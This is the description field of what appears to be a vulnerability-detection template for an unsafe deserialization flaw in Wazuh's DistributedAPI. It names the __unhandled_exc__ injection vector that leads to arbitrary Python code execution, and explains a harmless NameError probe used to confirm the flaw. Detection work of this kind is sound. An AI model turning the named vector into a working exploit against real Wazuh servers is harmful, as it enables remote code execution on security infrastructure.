  description: |
    This template detects an unsafe deserialization vulnerability in Wazuh servers.
    The DistributedAPI deserializes JSON data using as_wazuh_object. If an attacker injects
    a malicious object (via __unhandled_exc__), arbitrary Python code execution can be achieved.
    Instead of triggering a shutdown (e.g. via exit), this template uses a non-existent class 
    ("NotARealClass") to generate a NameError. A NameError in the response indicates that the 
    payload reached the vulnerable deserialization function.
